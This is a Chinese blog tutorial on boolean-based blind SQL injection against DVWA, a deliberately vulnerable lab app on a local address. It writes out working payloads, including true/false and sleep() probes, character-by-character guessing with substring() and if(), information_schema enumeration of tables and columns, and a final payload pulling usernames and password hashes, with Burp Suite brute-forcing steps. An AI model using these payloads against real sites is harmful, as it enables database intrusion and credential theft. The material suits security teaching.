boolean布尔型盲注

mysql中limit的详细用法
1、用于强制返回指定的记录行数
在查询中,经常要返回前几条或者中间某几行数据时,用到limit
语法如下
select * from table_name limit [offset,] rows

 参数说明:
  offset:指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0。
  rows:返回具体行数

总结:如果limit后面是一个参数,就是检索前多少行。如果limit后面是2个参数,就是从offset+1行开始,检索rows行记录。

哪种情况适合boolean布尔型注入攻击

页面中不会显示数据库信息,一般情况下只会显示对与错的内容。

 

 

 

 

1)代码层分析

接收 id 的值,直接带入查询,如果存在即返回 users is exists in the database
否则显示 users id is missing 像这种只有正确与错误页面。页面不会显示数据库
里任何内容,如果存在注入,成为盲注入。

 

 判断盲注入的方法

方法1:布尔型盲注入
输入 SQL 注入检测语句 判断页面是否不一样,如果不一样大概会存在 SQL 注
入漏洞 1'and '1'='1 一样 1'and '1'='2 不一样

方法2:延时注入
如果输入检测语句页面没有任何改
变可以使用延时语句进行检测 1'and sleep(10)--+ 函数 sleep() 在 mysql 是延时
返回的意思 以秒为单位 sleep(10) 即延时 10 秒执行

 

 判断数据库库名长度

要查询当前数据库库名,首先确定要查询的数据库的长度。
1' and if(length(database())=4,1,0)--+

length(database())=4,验证通过

 

length(database())=4,验证结果“MISSING”

 

 结论:数据库名长度为4

1)数据库名
mysql> select database();
+------------+
| database() |
+------------+
| dvwa       |
+------------+
1 row in set (0.00 sec)

mysql> 

2)数据库的字段名第一个字母
mysql> select substring((select database()),1,1);
+------------------------------------+
| substring((select database()),1,1) |
+------------------------------------+
| d                                  |
+------------------------------------+
1 row in set (0.00 sec)

mysql> 

3)猜测数据库第一个字母
mysql> select substring((select database()),1,1);
+------------------------------------+
| substring((select database()),1,1) |
+------------------------------------+
| d                                  |
+------------------------------------+
1 row in set (0.00 sec)

mysql> 

 结合burpsuite猜测数据库全称

url传参:1' and if(substring((select database()),1,1)='d',1,0) --+
http://192.168.1.6/01/vulnerabilities/sqli_blind/?id=1%27%20and%20if(substring((select%20database()),1,1)=%27d%27,1,0)%20--+&Submit=Submit#
1、burpsuite截取结果

2、设置burpsuite变量:

 

 

 

 3、attack结果

 

 

由此登出数据库名为dvwa

substring截取数据库表字段,判断数据表名

原理
1)表名
mysql> select substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1);
+--------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1) |
+--------------------------------------------------------------------------------------------------------+
| guestbook            mysql
>
2)表名中的字段
mysql> select substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1,1);
+----------------------------------------------------------------------------------------------------------+
| substring((select table_name from information_schema.tables where  table_schema=database() limit 1),1,1) |
+----------------------------------------------------------------------------------------------------------+
| g                                                                                                        |
+----------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)

mysql>
3)sql组合 mysql
> select * from users where user_id=1 and if(substring((select table_name from information_schema.tables where table_schema=database() limit 1),1,1)='g',1,0); +---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+ | user_id | first_name | last_name | user | password | avatar | last_login | failed_login | +---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+ | 1 | admin | admin | admin | 5f4dcc3b5aa765d61d8327deb882cf99 | /01/hackable/users/admin.jpg | 2020-01-09 16:58:08 | 0 | +---------+------------+-----------+-------+----------------------------------+------------------------------+---------------------+--------------+ 1 row i

 

1)url拼接:if(substring((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1)='g',1,0)

2)开启代理,burpsuite拦截

3)设置变量,payload中数据库表名长度可默认最大设置为40

 共爆出2张数据表

 

 

 

 

 由此结论:共存在两张数据表:guestbook,users

 爆出字段名

1)users表的字段
mysql> select column_name from information_schema.columns where  table_name='users' and table_schema=database();
+--------------+
| column_name  |
+--------------+
| user_id      |
| first_name   |
| last_name    |
| user         |
| password     |
| avatar       |
| last_login   |
| failed_login |
+--------------+
8 rows in set (0.00 sec)

mysql> 

2)猜出首个字段名的第一个字母
mysql> 
mysql> select if(substring((select column_name from information_schema.columns where  table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0);
+-------------------------------------------------------------------------------------------------------------------------------------------------+
| if(substring((select column_name from information_schema.columns where  table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) |
+-------------------------------------------------------------------------------------------------------------------------------------------------+
|                                                                                                                                               1 |
+-------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.02 sec)

mysql> 

 

url 拼接:1' and if(substring((select column_name from information_schema.columns where  table_name='users' and table_schema=database() limit 0,1),1,1)='u',1,0) --+

 burpsuit后登出字段内容:user ,password

url 拼接:1'and if(substring((select CONCAT(user,0x3a,PASSWORD) from users limit
1),1,1)='a',1,0)--+

burpsuite拦截信息,设置变量 ,爆破后登出 user与password

posted on 2022-12-09 10:35  bashliuhe  阅读(146)  评论(0编辑  收藏  举报

导航